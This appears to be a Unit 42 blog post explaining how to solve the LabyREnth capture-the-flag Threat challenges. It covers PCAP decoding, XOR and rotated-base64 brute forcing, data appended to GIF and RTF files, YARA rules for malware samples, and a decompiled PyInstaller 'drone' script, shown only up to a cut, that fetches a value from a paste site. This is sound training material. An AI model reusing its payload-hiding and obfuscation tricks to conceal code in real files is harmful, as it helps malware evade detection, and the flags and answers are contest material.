Welcome back to our blog series where we reveal the solutions to LabyREnth, the Unit 42 Capture the Flag (CTF) challenge. We’ll be revealing the solutions to one challenge track per week. Next up, the Threat track.
Threat 1 Challenge: Welcome to the well of wishes!
Challenge Created By: Jeff White @noottrak
For this challenge you’re provided a PCAP that has 30 HTTP GET Requests to www.dopefish.com. Inside each request is the same URL to the below image and a base64, reversed, string that decodes to “Not everything is as it seems...”.
Looking at the actual GET requests, the URL structure is interesting as there are a few sections in the URL that remain static between the URLs so we’ll go ahead and extract them all for further analysis.
Using the below command extracts each URL.
tcpdump -r dopefish_labyrinth.pcap -A |grep "GET /" |grep -o "/.*" |sort –u
The general breakdown of the URL is as follows:
/M[a-zA-Z]{3}.php?=owVXdTMzc[a-zA-Z0-9]{109}&L4bry1nth_[0-9]{3,5}?NxM[a-zA-Z0-9]{134}-[0-9]{4,5}%26%71%77port%3D27500
Dropping the URL into an online URL parser shows that the query string being supplied to the file is the entire string after the initial “?”, which seems odd since there appears to be other variables in the URL.
Further analysis shows that the URL is not correctly formatted as “?” and “=” are reserved characters. When they are placed next to each other, without variables in-between, the rest of the URL becomes invalid.
Looking at the query string starting with “=” and the above hint with a reverse base64 string beginning with the same symbol, I try to base64 decode the reversed string…which works, but the output is of no use.
After taking a closer look at the URLs, I noticed there are definite patterns that stand out in the characters, but “NxM” continues to repeat itself roughly every 18 characters. More importantly, the NxM pattern that is seen in the first long string and the long string directly following the “&L4bry1nth_[0-9]{3,5}?” section of the URL. By removing this and putting the two long strings together, reversing it, and base64 decoding it, we get much more usable results.
“317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317
W317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317
W317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317WW317
W317WW317WW”
Continuing to build on our previous line, we wrap it in a for loop and parse out only the two halves, reverse them, and print the result.
for i in $(tcpdump -r dopefish_labyrinth.pcap -A |grep "GET /" |grep -o "/.*" |sort -u |cut -d"=" -f2 |cut -d"-" -f1 |sed -e 's/&L4bry1nth_.*?//g'); do echo "=$i" |rev |base64 -D ; done
There is a very apparent pattern in the output. The last step we take is to add one more command to our line and strip out the “317”, which turns out was the “NxM” from the URL.
for i in $(tcpdump -r dopefish_labyrinth.pcap -A |grep "GET /" |grep -o "/.*" |sort -u |cut -d"=" -f2 |cut -d"-" -f1 |sed -e 's/&L4bry1nth_.*?//g'); do echo "=$i" |rev |base64 -D ; done |sed -e 's/317//g'
The key is PAN{th3D0p3fshl1v3s}.
Threat 2 Challenge: The rest of us, we died with our honor.
Challenge Created By: Micah Yates @m1kachu_
The hint is referring to this awesome web-comic.
To begin the challenge, we are given a file named jareth1.gif
The thumbnail makes it look like a valid gif, but is it?
The file opens and animates fine.
Opening the gif with a hex editor, the header looks like a regular gif header.
Scroll to the bottom, and this file is missing the standard gif trailer of 0x3B. (Read more about what’s in a valid gif.)
The hex values at the end are not the standard gif trailer.
There is data appended to this gif.
So what do we do with this information? One trick I like to employ with tampered image files is to do a reverse image lookup via Google. I upload the jareth1.gif file to google image search and get this back:
Clicking through a few of the visually similar images we find this gif. It animates the same and has the same dimensions as our jareth1.gif but a different size.
When diffing the two gifs, we can see that the original gif ended at offset 0x3436D with a valid trailer of 0x3B. Some shellcode and malware authors like to hide data by XOR-ing it with single or multi-byte hex values. Since it appears that the 0xAA bytes are repeating at the end of the file, and some data typically contains nulls, lets XOR the entire file by 0xAA.
Now let’s look at the leftover data’s header:
Based off of the header, it appears that the hidden data is a 7zip archive. Let’s save off this XOR’d data to another file.
One trick I like to use is 7zip’s ability to unzip files when the header is in the incorrect place. Simply use the command line or right click and select 7zip -> Extract here.
Decompressing that file gives us another file simply named “file”.
Taking a quick look at the header we see that this is an html file.
Renaming it to file.html and opening it with a browser yields this glorious ASCII art of David Bowie:
So what now? There’s no obfuscated javascript, just a seemingly incomprehensible mess of html. It also looks as if there is a repeating pattern of A7 A0 bookending some other data.
Let’s drop a section of that hex looking data into a hex editor:
None of it renders into ASCII, let’s try XORing it with 2 byte 0xA7A0 to see if there’s data underneath:
Still nothing to work with, but it does look like it could possibly be ASCII text.
Let’s undo that and try again with the original single byte 0xAA:
Much better. The text renders as:
Write a YARA rule to find normal valid GIF files.
Using the template below:
- replace each "**" pair in $header with the appropriate 6 bytes.
- replace each "*" in $trailer with the appropriate regex.
- replace the "*" in condition with the appropriate digit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
rule valid_gif : valid_gif { strings: $header = { ** ** ** ** ** ** } $trailer = ******* condition: $header at * and $trailer } Using the information about proper gif structure we write the following correct rule: rule valid_gif : valid_gif { strings: $header = { 47 49 46 38 39 61 } $trailer = /\x3B$/ condition: $header at 0 and $trailer } |
After reading this article about what’s in a gif:
- The header is self-explanatory.
- The regex format is required here to make sure there is no following data after the 3B
- And of course the header has to be at the beginning of the file at position 0
Submitting the rule above will result in the key: PAN{848Y_wIsh3D_4w4y}
Threat 3 Challenge: Matryoshkas got nothing on me.
Challenge Created By: Josh Grunzweig @jgrunzweig
For this challenge, we’re presented with a Python script. When you run the script, the only output you receive is this:
python h0ggle.py
You fell into a pit and died... of dysentery.
Looking at the script, it appears to base64 decode the data and decrypt it before passing it to exec() function. The data is rather large, with over one million characters. It’s using AES for the encryption from the Crypto.Cipher suite and stepping through it with a debugger shows that it continues this iteration process where each blob of data executed contains the same code with a new blob of data.
Following this line of logic, we can quickly script out this process. We’ll write each decrypted section to a new file and include the headers necessary to run it again, so on and so forth, until we reach the end.
First, we’ll create header.txt with the following data:
#!/usr/bin/env python
from Crypto.Cipher import AES as tiywynstbg
import base64 as ufjliotyds
import itertools as abtwsjxzys
from itertools import cycle, izip
def gasfewfesafds(message, key):
return ''.join(chr(ord(c)^ord(k)) for c,k in abtwsjxzys.izip(message, abtwsjxzys.cycle(key)))
Next, we’ll put together a one-liner to traverse the dark depths of Python and see where it leads.
cp h0ggle.py h0ggle_1.py; for i in $(seq 1 50); do sed -e 's/exec(/print(/g' h0ggle_$i.py > temp; mv temp h0ggle_$i.py; python h0ggle_$i.py > temp; cat header.txt temp > h0ggle_$((i+1)).py; done
We run into a syntax error on file h0ggle_28.py, which shows our dysentery error message.
File "h0ggle_28.py", line 8
You fell into a pit and died... of dysentery.
^
Looking at h0ggle_27.py we can see how to safely cross the river!
Key = PAN{all_dir3ctionz_l3ad_n0wh3r3}
Threat 4 Challenge: The same, but different.
Challenge Created By: Micah Yates @m1kachu_
The hint is referring to the previous yara challenge, Threat 2 Challenge: The rest of us, we died with our honor.
To begin the challenge, we are given 6 word docs.
Let’s open them all up
The files open and display the somewhat same word doc.
Running the file command on all of these files results in:
3673c9d7a5b2f978d3a34001d360ac485f22ed6fa868c8304eb99273a6efb268.doc: Microsoft Word 2007+
668bed5ed5d5effb3be659e8dab55c63369985064f7ee80f9365e75b34f6283d.doc: Microsoft Word 2007+
7717bd124dd0c0881afd6b327ff41b420bff77d3c5ae338a31cce5cfdcb3b5d0.doc: data
87f146c41082d7ba885f9433e0223b346f3032f7364bf18675b924a017994779.doc: Microsoft Word 2007+
afc502de73482404cc344301c207f27c7da7b31641cd2192b3bba40f3ab6964e.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Micah Yates, Template: Normal.dotm, Last Saved By: Micah Yates, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jul 13 17:19:00 2016, Last Saved Time/Date: Wed Jul 13 17:19:00 2016, Number of Pages: 1, Number of Words: 146, Number of Characters: 837, Security: 0
d48a2f4922bca81ce8fff8c18d788f41d2034c7999ca1ed03965d914dc06a9df.doc: Rich Text Format data, version 1, unknown character set
They’re not all the same file format, but all contain the same basic content. There’s a .doc, .docx, .rtf, .mhtm, .dot, and .docm file with the same plaintext inside. Simply changing their extensions to .doc allows for Word to try and open them as a standard Word .doc
Let’s open up the RTF (d48a2f4922bca81ce8fff8c18d788f41d2034c7999ca1ed03965d914dc06a9df.doc) in a hex editor. They’re typically fairly simple to follow. The header looks fine so lets scroll down to the bottom of the file.
Looks weird right? Let’s take a look at the RTF file format on Wikipedia, specifically the Code Syntax:
Get all that?
So the TL;DR of that section states that RTF data must be within curly braces “{}”. This RTF file clearly has data appended to it.
Remember the hint? “The same, but different.”Well it seems this challenge is similar to the Threat 2 challenge. There is unknown data appended to a legitimate looking file.
Let’s attack the data that seems to be repeating. The appended data looks similar to base64 encoding, but somewhat obscured. Within this appended data we have 3 sequences of data that are 48 bytes long that are repeating.
Two of them are different, and of those, one is clearly not a valid Base64. (See Wikipedia’s definition of Base64.)
When there are sequences of four repeating characters in Base64 encoded data, the underlying data typically repeats in some sort of pattern. For example: AAAAAAAAA Base64 encoded is QUFBQUFBQUFB
Let’s assume these two different sequences are hiding the same data, but have encoded it differently due to data position. If that’s true, it looks like both sequences have also been obscured by a single byte operation. So what do we do to figure out that operation? Brute Force!
Let’s write a small script that performs single byte operations on the two sequences and then test it to see if they’re valid Base64 characters. In short, this runs a simple one byte XOR over each byte in the sequence and checks to see if they are ASCII compatible with Base64 characters.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import sys, re data_sequence = bytearray(open(sys.argv[1], 'rb').read()) test_output = "" key = range(0,255) for i in range(len(key)): for j in data_sequence: test_output+=(chr(i^j)) base64_test = test_output test_output = "" if re.match("(?:[A-Za-z0-9+\/]{8})", base64_test): print hex(i), base64_test |
I truncated the two sequences above into an 8-byte sequence of data:
Running the script over these shortened sequences, it returns 4 XOR candidates:
So we have four potential XOR values that decode valid Base64 characters.
Starting with XOR-ing the appended data with 0x26 we get this:
Looks pretty promising, and almost all characters are Base64 standard except there are no “+” characters, only “-“.
This looks like it may be using an alternate encoding string with “-“ in place of “+”. If we try and decode with this alphabet: “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-/”, there is no data that looks promising.
Some malicious Base64 encodings use alternate alphabets. Sometimes they’re simple and just change up the position of the alphabet. Let’s write another brute force script to rotate the position of the alphabet above, decode, and test to see if it has valid ASCII text.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import string, base64, re STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' CUSTOM_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-/' ROTATED_ALPHABET = CUSTOM_ALPHABET def is_ascii(s): return all(ord(c) < 128 for c in s) input_str = "vRjD3gu6ysbzqvjbihjP1gu63gW6zgvOzwnOigfG1cbQyxjDyxrD1QTNigXAihrC0xm6zwT91Qr/zcb- yxr7l6OkvxnD1A263g7/ihr/1xbGyxr/igj/1gXRihj/2gL7yQu6zwf90ca8k8C8ihb70xi63Q/O0cbO0gu 6zA/M2Rq6mti6yB/OzxmUdqCncBjP1gu6zwT9xQrJyMaUigvIyPX- 1QmncBGnc8a6ica6ica62RrM0wTB2NCnc6-jdqCjcq-- zA/M2Rq6psbVicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEihOnc6- jcsrNzwnJ1Aq6psbVicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEicCEihOnc6- jcsrO0g/MzcaXihG6k8C6k8C6k8C6k8C6k8C6k8C6k8C6k8C6k8C6k8C6k8C6k8C65qOkcq -jcqOkica6ica6icb91QT-0xrD1QSUdqCjcq-LigXAihrCzwOncBOa" def alt_decode(input): return base64.b64decode(input.translate(DECODE_TRANS)) for rotate in range(len(CUSTOM_ALPHABET)): ROTATED_ALPHABET = CUSTOM_ALPHABET[rotate:]+CUSTOM_ALPHABET[:rotate] DECODE_TRANS = string.maketrans(ROTATED_ALPHABET, STANDARD_ALPHABET) if is_ascii(alt_decode(input_str)): print rotate, ROTATED_ALPHABET print "***************" print alt_decode(input_str) |
So what we did in the script was enter our data that had been XOR-ed with 0x26. We defined an alternative Base64 alphabet and then looped through all variations of that alphabet by rotating the entire alphabet by one character per loop. We then checked each output to see if it was valid ASCII, and then printed it. Running the above code returns:
Here’s the encoded data and clue. It appears that the decoding alphabet has been rotated by 26 characters.
Would you look at that, three lines of repeating characters, all the same length: “{ ** ** ** ** ** ** ** ** ** ** ** ** }”
So to recap, we brute-forced a single byte XOR, then brute forced an alternate base64 alphabet that had been rotated left by 26 characters.
Going back through the other documents we find the two variations to this encoded data, and fill out the YARA rule like this:
1 2 3 4 5 6 7 8 9 10 11 |
rule enc_doc : enc_doc { strings: $first = { 50 74 4C 62 15 41 53 10 5F 55 44 5C } $second = { 4F 40 15 6B 16 5E 54 09 4F 41 43 10 } $third = { 4F 45 44 5E 14 67 09 69 5C 55 44 11 } condition: 1 of them } |
Submitting the rule above will result in the key: PAN{7H1r7EEn-hOuR_71me_l1M17}
Threat 5 Challenge: Hello Confetti!
Challenge Created By: Anthony Kasza @anthonykasza
Opening the provided “hello.pcap” file with Wireshark and examining the protocol hierarchy within the pcap shows only UDP traffic. Wireshark believes a few of the packets are malformed real-time transport control packets while the majority of the packets are data.
Observing the UDP conversations within Wireshark, only a single “connection” occurred within the pcap. The connection is between port 9090 and 53321 on 127.0.0.1. The inconsistency of protocols above combined with a single connection within the trace file leads to the conclusion the protocol being used is non-standard.
The first packet in the trace contains the data “hello :)” followed by an 0x0a. This is the only packet with a length that’s not 8234 and sent from port 53321 to port 9090. The second packet contains data which starts with “BZh” which is the magic file header for a bzip file. Ignoring the first “hello” packet, a bzip archive can be extracted from the trace file. Decompressing the bzip archive reveals a second pcap trace.
Using similar techniques as before, multiple FTP over IPv6 connections can be observed within the pcap. Following one of the FTP connections reveals a series of requests and responses, which all streams mimic:
- an anonymous FTP login occurs
- a series of change directory commands is issued to /this/is/going/to/be/so/much/fun/
- a size request for a file resulting in a response of 61052
- a REST request for a specified byte offset of the file
- the TCP connection is then reset
This series of commands is indicative of an FTP range request.
Reassembling the bytes of the file transferred via FTP range requests provides a tarball. Within the tarball is a third pcap trace file.
Again, observing protocols and conversations within the pcap reveals multiple HTTP connections between two end points. By observing the HTTP response codes in the connections a participant may have noticed only “206 Partial Content” codes. These codes are used to respond to HTTP range requests. The “Range” header is also included in all requests issued within the trace file.
Similar to FTP range requests, HTTP range requests can be used to request specific byte ranges for resources. Reassembling the byte ranges reveals a fourth and final packet trace file.
Within this trace file is a single TLS session between a host and Google. Within the requested SNI names of the “Client Hello” message of the TLS exchange additional server names (besides www.google.com) are present. This should be a big red flag to participants as this indicates the client would accept HTTP host names besides www.google.com. These SNI entries are also not ASCII characters, which also may have been a red flag.
The additional SNI entries in hexadecimal representation follow:
- 61707f4a
- 6801117501561d11
- 7811795450435511680144117d585a54116172706162110b75
- 4c
Knowing previous challenge flags took the form of “PAN{ FLAG }” XORing the first value of the first SNI entry, 0x61, with 0x50 (“P” in hexadecimal) revealed the key, 0x31, used to XOR the remaining characters with. Doing so produces the key for this challenge:
PAN{Y0 D0g, I Heard Y0u Like PCAPS :D}
This challenge tested the participant’s knowledge of standard networking protocols and how these protocols can be (mis)used to fragment data at the application layer. It also tested the participant’s tenacity as it was a rather long and obfuscation heavy challenge. Tools used to solve this challenge could include Wireshark, common command line utilities, Bro, and Python’s dpkt module.
Threat 6 Challenge: There can only be one.
Challenge Created By: Micah Yates @m1kachu_
The hint is referring to the singular string required for the challenge YARA rule.
We are given the following instructions in the directions.txt file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 |
Given the included archive of malware samples: Find the longest, contiguous, most efficient rule to catch all of them. The rule must use the hexadecimal format. The rule CANNOT fire on any other samples. ONLY the 48 provided. The wildcard ("?" or "??") is allowed but not jumps "[1-6]". See http://yara.readthedocs.io/en/latest/writingrules. html#hexadecimal-strings The samples are included in yara_samples.7z password is "infected" The rule must follow this example format: rule yara_challenge { strings: $yara_challenge = { de ad b? ef ?? ??} condition: all of them } You will change the contents of $yara_challenge from "de ad b? ef ?? ??" to a hex formatted rule that will catch all 48 samples. Use this template when submitting your rule: rule yara_challenge { strings: $yara_challenge = { ** ** ** ** ** ** } condition: all of them } Hint: There are 52 wildcard "?"'s within the answer Malware samples have the following sha256 hashes: 0050e14f8e6bca0b2b99708f0659e38f407debec5ab7afc71de48fb104508a60 04a23b3cb2d6361df66ca94a470ffa1017a8e5cd3255ce342219765d7d4619bc 104a657a127f86f7b3c0266374d3c8190089600649bfec9d022a1db5a593ff05 10611281e1ccbdbb578b5d5e2b5d3bb101b137313f30488859d33efc0b0a2d49 16efd909ed255628ad4da000cb7a2d1efda45ba3c549cb6c89017f92ffe3661f 190759abb680efcc7e3ae3321089b43dbf3fa96a5d23a1cfb67b0eac4479bd7e 1bbeca916a642737c0a0366afdf5054b4c34763f3ef182ce02fbd47330df08a5 1d0d00c76353c8a1d2e33af602238244f0e0417193d7f65cfca4f4b576107071 2037ffebd0249c148a7aace14bddb1e722676449a1fb2e242c54de9507aa9891 383f0d2cbf8914c3ecb23ea82bff38e1c048980806e37d75e3539362d105675c 3c14b486b84574dddb44e6090bea99f1635271aa9d2b34e121b9a6a7c63e20eb 495a0660bbeebdf5c97066962a188b2df761f73ccd0056491a1a66a02f7d8b22 4f0532e15ced95a1cebc13dd268dcbe7c609d4da237d9e46916678f288d3d9c6 584da5ab12cecc1346990260edbddff27c6a8beb64fddb43e4a5e4c3c7aeafed 5db8bb1cff115c3d984a560508dea374163d1579d61c64c5f8339bed21247858 5dcdf2e8f1b9348bfd3330a31a70a4b5fc03dd86e45553dca9d85f74f9d8ec6c 637aef27fca11245278a48f70535902570ef526ba19bcb8a675f07cdc7788993 64a373487c4cc2b8b60687ecc01150b546b18be7069981c5fe5d48075190f1ff 693f08996d40c0c2bdb25ae5457d44f9df694a8972a70fe989312753c7fe9ab4 7c7700a4b8e19a168f7befb37155cdb133fec1fd5944e4ad57d483be40f9f5d5 7d40062e8399a547f5578d462d3d864abf44a52a251f3d6dc0e3d0f2919b9b06 7d5f4c2030022ca5db32716635f8b2f850fe74531d0dc1dc859e86dc9afdd411 7e732e41d93b613cac1ba979d7f7c98c8603f65a50bbf6b6198f1ee396dc7174 837485ae1a0d843692bac9f91ad3f3c77f576414c2f1abc477b053dbc3302939 873276d9f8cbf3206408319f5579048663b30cb8f36b1a1a0a08e74a2685c688 8cea8428c05a2845315cbdd64daa9bfcfc6ee49f935923786452db8b7e395662 98fe63c98c8865781a7ef52b8b105dd3eeb444dfe3242468af0211eadd4076a5 a0d777ff492a90ec6d9eff93e38e7b35cf0ff70111b7723dc48a88ccd468d1fa a4ef1ce4dd797047944605ab1d94b6e7e091949635b04ffb4cb929e1c13a93b5 a52762177877479859e4f88a13f605ad1e69d759019cf49dcf026781375b74a7 bb4f09d5fb61d65e48bfc235657a895280ebe9c0bb20ddff112edb6ab5a6114a c8acb5eab3b6019fda9609b2badd902d7be9ebdd042e2c244018589ff1398355 cc170c55c076d3c280752bfb55b25b28cc4fa56c730a2df64e636f92b737ce01 d8a6e6bace789a863e537f814cca587ae697e9a5533ae43288d76f3fcad4491f dbbd5d7944b1791027762a40a70b3c74772a9d31b5c67b6519394a1705edabcc df391f2ffc4e001b1572bb0386504a2e6bc56b0446575be4035cb617f8f0c579 e03bd4b39cf7bc80a5177abe797dd896df1c97c59ede45728a245f7b912def33 e6a2b6355fd513a8ce24deef488ee3cc39f5d736915965875c54f81c19e52971 e96de8414e0e438184d2352be17d1f31f2f309fe5f4c7c167dd4375fa28f96b0 e9af4018616e4275c6b6af5531bb988431c1454d8567cc4f6c7d2b4dc63440aa e9d191e5a9565068627795d74eb6605f3878b6c5655955f72f69dffa5076e495 ea96636e1c8741efac1eefb673726087261fa23c680a8556abf36ec13409253f ef3b6b3060ef897724cea9ac2080b1201d08c9e6a0dad0ecf492c08441a4f604 f3b82f2c80c2ea5496407200bab1cc04f3679b80c74608aa03bfae37e62f992e f48db6b5d9d34ead2dc736cd7f8af15b7b6fb3e39fe0baf5eac52e1e3967795c f6a180cc3b31693739089a9966dd1feb107bb49216f1e3ed11baab8e4f6b5226 f737829e9ad9a025945ad9ce803641677ae0fe3abf43b1984a7c8ab994923178 fc2751ff381d75154c76da7a42211509f7cc3fd4b50956e36e53b4f7653534d5 |
So lets unzip the included archive and take a look at the included files.
Based off of the above conditions, it appears that the rule must be exclusive to this set of 48 files. That rules out common repeating elements of a PE file, like header, padding etc. So I’m going to look at data and functionality within the binaries.
My approach to this problem would be to diff the two smallest files in the archive and see what code lines up. (If you have a paid version of IDA-Pro, you can use a free plugin, BinDiff.) We’ll diff the two smallest files:
- fc2751ff381d75154c76da7a42211509f7cc3fd4b50956e36e53b4f7653534d5
- e96de8414e0e438184d2352be17d1f31f2f309fe5f4c7c167dd4375fa28f96b0
Let’s sort the diffed files by basic block count, this will give us the longest functions in the binaries.
It looks like they’re 100% the same according to bindiff. Looks promising.
Opening up both files at sub_10001000 in Hex View in IDA we can see that they’re practically identical.
Since we’re going to convert this hex to a yara rule lets open up these files in bash and convert them to text. Then do a silly grep for the beginning of the hex that matches and almost everything after that.
This gives us a nice text file with all of the similar hex bytes:
There are 48 unique lines, so it looks like we’re on the right track. Next step is to write a python script to figure out the placement of those 52 wildcards.
This script checks line by line, then character by character to see if the hex text matches, if not it’s replaced with a “?”. It then cuts off the rule after the 52nd occurrence of the “?” and prints out the rule:
We end up with a yara rule that catches all 48 samples:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
rule yara_challenge { strings: $yara_challenge = { 5153568B742414B9030000008BC633DB99F7F93BD375048BC6EB1683FA0175058D4602EB0C8 3FA028D460174048B4424088D0C8500000000B856555555F7E98B4C241C8BC2C1E81F03D049 3BCA7D065E33C05B59C3558D5601575289742414895C2428E8?E??00008BCE8B74241C8BE88B C18BFD83C404C1E902F3A58BC883E103F3A48B4C241C8B74242083F903C60429000F8C870000 00B8ABAAAAAAF7E1D1EA8D04522BC8894C24108B7C242483C3048A0C2F83C703C1F90283E1 3F897C24248A81?0???0?088441EFC8A4C2FFD8A442FFE83E103C1F804C1E10483E00F0BC88A8 9?0???0?0884C1EFD8A442FFF8A4C2FFEC1F80683E10F83E003C1E1020BC18A80?0???0?08844 1EFE8A4C2FFF83E13F4A8A81?0???0?088441EFF758B8B44241083F802754E8B4424248A0C288 D7C2801C1F90283E13F8A91?0???0?08814338A04288A0F83E003C1F904C1E00483E10F0BC18 A90?0???0?0885433018A0783E00F8A0C85?0???0?0884C3302C64433033DEB3883F80175368B 4424248A1428C1FA0283E23F8A8A?0???0?0880C338A142883E203C1E2048A82?0???0?088443 301B03D884433028844330383C30455C6043300E8?5??000083C4048BC35F5D5E5B59C390909 09090909090909053568B74240C578BFE83C9FF33C0F2AEF7D1498BF98BC7250300008079054 883C8FC4074065F5E33C05BC368?4 } condition: all of them } |
Submitting the rule above will result in the key: PAN{8oogI3_WonD3rL4nd}
BONUS:
If you combine the keys from all three yara challenges, they write out a Haiku about the Labyrinth Movie.
Threat 7 Challenge: There has been a breach of the Borg's drone network!
Challenge Created By: Jeff White @noottrak
For this challenge, we’re given a Windows PE “drone.exe” and when we run it we’re greeted with a Borg Cube and some text about an apparent encryption.
Based on the text, it appears the URL (https://www.youtube.com/watch?v=AyenRCJ_4Ww - the Borg montra!) and key “borgdata” are encrypted to form the hash “374316062B033D0A3E6A746B46560377367A3328393720611641435A400C0C0B7E6E69
E392C2C394E5B5B1717061B0A”. Then an error occurs and another hash is displayed and the program exits.
Looking at the strings for the program, a number of them immediately stand out and, after a quick trip to Google, imply that this PE was built with PyInstaller.
__main__
__file__
%s returned %d
pyi-windows-manifest-filename
Cannot allocate memory for ARCHIVE_STATUS
_MEIPASS2
Cannot open self %s or archive %s
PATH
Failed to get executable path.
GetModuleFileNameW: %s
Failed to convert executable path to UTF-8.
Py_DontWriteBytecodeFlag
Cannot GetProcAddress for Py_DontWriteBytecodeFlag
Py_FileSystemDefaultEncoding
Cannot GetProcAddress for Py_FileSystemDefaultEncoding
Py_FrozenFlag
Cannot GetProcAddress for Py_FrozenFlag
Py_IgnoreEnvironmentFlag
PyInstaller is “a program that packages Python programs into stand-alone executables.”Now we know what we’re dealing with. I decided that the quickest way to tackle this challenge would be to extract the Python script instead of trying to reverse-engineer a 9MB PE that wraps a Python script.
After some more Google-Fu, we find PyInstaller Extractor on Sourceforge and try to run it against our binary but immediately receive a traceback.
Traceback (most recent call last):
File "pyinstxtractor11.py", line 115, in <module>
fd=open(name,'wb')
IOError: [Errno 2] No such file or directory: ''
Analyzing the traceback and the section of code where it happened, it looks like it had issues opening a file.
1 2 3 4 5 6 7 8 9 10 11 |
#Remove trailing null bytes from name name=name.rstrip('\00') bpath=os.path.dirname(name) if bpath!='': #Check if path exists, create if not if os.path.exists(bpath)==False: os.makedirs(bpath) fd=open(name,'wb') fd.write(buf) fd.close() |
There were also some interesting files dropped before the program had the issue, which may be useful later.
Testing our assumption, we modify the script to print the ‘name’ field and can validate it’s printing out the file names we saw written to disk.
Given this, we simply wrap that action in a try/except where we specify the filename as “broke” if it is empty.
1 2 3 4 5 |
try: fd=open(name,'wb') except: print "broke file" fd=open("broke”,'wb') |
Running it again, we see a slew of files now get written to disk.
Looking at our “broke” file, we see it’s actually the script for the program!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
#!/usr/bin/env python import requests, time, sys, json, ast, logging, base64 logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL) from scapy.all import * def AABBBC(AABBCF, AABBCE, AABBBF): AABBCC = len(AABBCF)/float(len(AABBCE)) if str(AABBCC).split(".")[1] == "0": AABBCD = int(str((AABBCC)).split(".")[0]) * 8 else: while str(AABBCC).split(".")[1] != "0": AABBCF += "@" AABBCC = len(AABBCF)/float(len(AABBCE)) AABBCD = int(str((AABBCC)).split(".")[0]) * 8 AABBB0 = [] AABBCF = list(AABBCF) AABBCE = list(AABBCE) while AABBCF != []: p_AABBCF = AABBCF[0:8] p_AABBCE = AABBCE[0:8] AABBB1 = [] for i in xrange(0,8): if type(p_AABBCE[i]) == int: # [+] *** ALERT ALERT *** [+] AABBB2 = (ord(chr(p_AABBCE[i])) ^ ord(p_AABBCF[0])) # [+] HUMANS HAVE BROKEN THROUGH [+] else: # [+] MODULATE SHIELDS [+] AABBB2 = (ord(p_AABBCE[i]) ^ ord(p_AABBCF[0])) # [+] *** ALERT ALERT *** [+] AABBB0.append(AABBB2) AABBB1.append(AABBB2) AABBCF.pop(0) p_AABBCF.pop(0) AABBCE = AABBB1 AABBCE.reverse() AABBB0.reverse() AABBB4 = [] for i in AABBB0: AABBB3 = hex(i) if len(AABBB3) != 4: AABBB4.append("0" + hex(i)[2:]) else: AABBB4.append(hex(i)[2:]) AABBB4 = "".join(AABBB4).upper() return AABBB4 def AABBB7(AABBBE): return AABBBE[::-1] def AABBCB(AABBBE): print "\t[-] *** ERROR CONNECTING ***" print "\n[+] SHUTTING DOWN DRONE [+]\n" time.sleep(2) sys.exit() def main(): AABBBD = """ ___________ /-/_"/-/_/-/| /"-/-_"/-_//|| /__________/|/| |"|_'='-]:+|/|| |-+-|.|_'-"||// |[".[:!+-'=|// |='!+|-:]|-|/ ---------- """ print AABBBD print "[+] BORG DRONE BOOTUP STARTING [+]" time.sleep(2) try: AABBBA = json.load(open("borgstruct.cfg")) print "\t[-] CONFIGURATION", str(AABBBA['key'][1]) + ".0 LOADED" except: AABBBA = {"warp": ["d0rw$54p", "lss", "p//:ptth", "nimda//:ptf"], "coil": ["r/moc.nibets", "exe.1\:c", "tropmmoc"], "dilithium": ["praw", "-redrocirt", "FfPE6AFw/w"], "scalar": [874, 34, 666], "array": [69, 80, 443, 25, 22, 2600, 666, 8443, 27500], "LoadLibraryA": ["IsDebuggerPresent", "IsDebuggerDetected", "NtQueryInformationProcess", "GetTickCount"], "LoadLibraryB": ["CheckRemoteDebuggerPresent", "UnhandledExceptionFilter", "CloseHandle", "QueryPerformanceCounter"], "LoadLibraryC": ["NtGetContextThread", "NtSetContextThread", "NtClose"], "adb": ["0xCD", "0x03"], "targets": ["squirtle", "humans", "ferengi", "rick astley"], "key": ["borgdata", 1, 2, 3, 4, 5, 6, 7, 8, "startrek", "cloaking"], "commands": ["ping", "shutdown", "nslookup"], "lore": ["grab", "the", "flag"]} json.dump(AABBBA, open("borgstruct.cfg", "w")) print "\t[-] CONFIGURATION VERSION", str(AABBBA['key'][1]) + ".0 WRITTEN" if AABBBA['key'][1] == 1: print "\n[+] FETCHING STARTUP VALUE FROM MATRIX" time.sleep(2) try: AABBB5 = AABBB7((AABBBA['dilithium'][2]) + "a" + (AABBBA['coil'][0]) + "a" + (AABBBA['warp'][2])) AABBB6 = requests.get(AABBB5, verify=False) except: AABBCB(AABBBA['LoadLibraryA'][0]) AABBCE = AABBB6.content.split("\n")[1] print "\t[-] DATA =", AABBCE if AABBBA['key'][1] == 2: # [+] *** ALERT ALERT *** 